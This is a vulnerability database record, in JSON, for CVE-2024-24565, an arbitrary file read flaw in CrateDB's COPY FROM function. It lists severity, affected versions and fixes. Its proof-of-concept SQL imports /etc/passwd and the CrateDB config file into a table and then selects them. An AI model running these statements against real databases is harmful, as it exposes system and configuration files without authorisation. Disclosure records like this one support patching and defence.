{"id":"CVE-2024-24565","aliases":["GHSA-475g-vj6c-xf96"],"url":"https://o3.security/vulnerability/CVE-2024-24565","summary":"CrateDB database has an arbitrary file read vulnerability","details":"### Summary\nThere is an arbitrary file read vulnerability in the CrateDB database, and authenticated CrateDB database users can read any file on the system.\n\n### Details\nThere is a COPY FROM function in the CrateDB database that is used to import file data into database tables. This function has a flaw, and authenticated attackers can use the COPY FROM function to import arbitrary file content into database tables, resulting in information leakage.\n\n### PoC\n```\nCREATE TABLE info_leak(info_leak STRING);\nCOPY info_leak FROM '/etc/passwd' with (format='csv', header=false); or COPY info_leak FROM '/crate/config/crate.yml' with (format='csv', header=false);\nSELECT * FROM info_leak;\n```\n![image](https://user-images.githubusercontent.com/154296962/292985975-ff5f2fb8-1a3f-4b49-9951-cd1fc6e78031.png)\n\n\n### Impact\nThis vulnerability affects all current versions of the CrateDB database. Attackers who exploit this vulnerability to obtain sensitive information may carry out further attacks, while also affecting CrateDB Cloud Clusters.\n![image](https://user-images.githubusercontent.com/154296962/292986215-aec5adfe-38cc-4f31-bf86-c50ecbb44d5d.png)\n","published":"2024-01-30T16:46:15.200Z","modified":"2026-08-12T14:52:02.451620Z","cvss":{"score":5.7,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"Maven","name":"io.crate:crate","fixedVersion":"5.3.9"},{"ecosystem":"Maven","name":"io.crate:crate","fixedVersion":"5.4.8"},{"ecosystem":"Maven","name":"io.crate:crate","fixedVersion":"5.5.4"},{"ecosystem":"Maven","name":"io.crate:crate","fixedVersion":"5.6.1"}],"fix":{"url":"https://github.com/crate/crate/commit/4e857d675683095945dd524d6ba03e692c70ecd6","label":"crate/crate@4e857d6"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/24xxx/CVE-2024-24565.json"},{"type":"ADVISORY","url":"https://github.com/crate/crate/security/advisories/GHSA-475g-vj6c-xf96"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-24565"},{"type":"FIX","url":"https://github.com/crate/crate/commit/4e857d675683095945dd524d6ba03e692c70ecd6"},{"type":"WEB","url":"https://github.com/crate/crate/commit/32d0fc2ebb834ea324eb7ab5d01320a67bc5c3c7"},{"type":"WEB","url":"https://github.com/crate/crate/commit/b75aeeabf90f51bd96ddb499903928fd10185207"},{"type":"WEB","url":"https://github.com/crate/crate/commit/c4c97d5a1c52cc2250ea42d062a3d37550c19dd5"},{"type":"WEB","url":"https://github.com/crate/crate/commit/c5034323f1b56ca5d04b8ef4c6029eb63a5ba172"},{"type":"PACKAGE","url":"https://github.com/crate/crate"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T14:52:02.451620Z"}}